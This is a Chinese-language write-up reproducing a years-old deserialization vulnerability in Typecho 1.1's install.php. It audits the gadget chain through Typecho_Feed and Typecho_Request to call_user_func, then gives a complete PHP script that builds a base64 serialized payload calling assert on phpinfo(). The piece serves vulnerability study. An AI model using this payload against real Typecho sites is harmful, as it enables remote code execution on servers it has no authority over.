Typecho1.1反序列化漏洞复现
两三年前出的漏洞了,这里来进行一波审计和复现一波
环境搭建
首先你需要为typecho创建一个数据库,不然后面会安装失败,这个虽然是前台Getshell,但是install.php里面验证了是否存在数据库配置文件,所以要触发这个漏洞必须要先安装


之后就可以触发了
审计过程
漏洞大约在install.php的229行左右

很显然的一处反序列化,我们跟进get方法看看

可以看到没有对Cookie或者是POST过来的数据进行过滤,就是简单的判断是从POST取出数据还是Cookie中取出数据,也就是说上面我们反序列化得到的$config
是可控的

接下来实例化一个类,将我们的config数组的两个元素放进去


其中获取数据库适配器使用了字符串连接的方法,连接的对象就是我们我们的$config["adapter"]
,假设这个$config["adapter"]
是一个类的话就会触发__toString
方法,那么上哪里面找有__toString的类呢

我用自带的全局搜索找到了两个,Feed.php,Query.php
跟进Feed.php查看他的__toString方法
在大约290行左右有这样一行代码

$item其实就这个类的一个私有变量


这里面调用了screenNmae参数,假设这个$item["author"]是个类,并且调用了不存在的screenName变量的时候就会触发__get()魔术方法,我们同样用全局搜索来定位这样的类

跟进Request.php

再跟进get方法

这里面获取$this->_params['screenName']的值并调用_applyFilter方法。
跟进看看

使用call_user_func函数来对\(value进行操作,首先\)this->_params['screenName']可控的,我们实例化的时候初始化就行,接下来看调用的函数是否可控(也就是$filter是否可控)

是可控的,那么我们就可以构造任意代码执行或者命令执行的payload
还有要注意一点,因为漏洞是在install.php触发的,所以我们需要在前面看一下允许执行的条件

需要get一个finish,还有伪造一个Referer就行了
思路整理
首先在install.php
反序列化一个数组,数组的adapter
元素为Feed.php
里面的Typecho_Feed类,在Typecho_Db类初始化的阶段会触发Typecho_Feed的__toString方法,将Typecho_Feed类中的私有成员_items
数组的author元素赋值为Request.php
里面的Typecho_Request类,这样在__toString中就会触发Typecho_Reques类的__get方法,在将Typecho_Reques类中的私有成员$_params $_filter
赋值就可以达到任意代码执行的目的
总结: 反序列化感觉就是无限套娃的样子
payload利用
<?php
class Typecho_Feed{
/** 定义RSS 1.0类型 */
const RSS1 = 'RSS 1.0';
/** 定义RSS 2.0类型 */
const RSS2 = 'RSS 2.0';
/** 定义ATOM 1.0类型 */
const ATOM1 = 'ATOM 1.0';
/** 定义RSS时间格式 */
const DATE_RFC822 = 'r';
/** 定义ATOM时间格式 */
const DATE_W3CDTF = 'c';
/** 定义行结束符 */
const EOL = "\n";
private $_type;
private $_charset;private $_items = array();
public function __construct($value='')
{
$this->_type = self::RSS2;
$item['link'] = '1';
$item['title'] = '2';
$item['date'] = 1507720298;
$item['author'] = new Typecho_Request();
$item['category'] = array(new Typecho_Request());
$this->_items[0] = $item;
}
}
/**
*
*///screenName $value = $this->_params[screenName] 调用函数 $this->_filter($value)
class Typecho_Request
{
private $_params = array();
private $_filter = array();
function __construct()
{
$this->_params["screenName"]="phpinfo()";
$this->_filter[0]="assert";
}
}
$a = array(
"adapter" => new Typecho_Feed(),
"prefix" => "QAQ"
);
echo base64_encode(serialize($a));
?>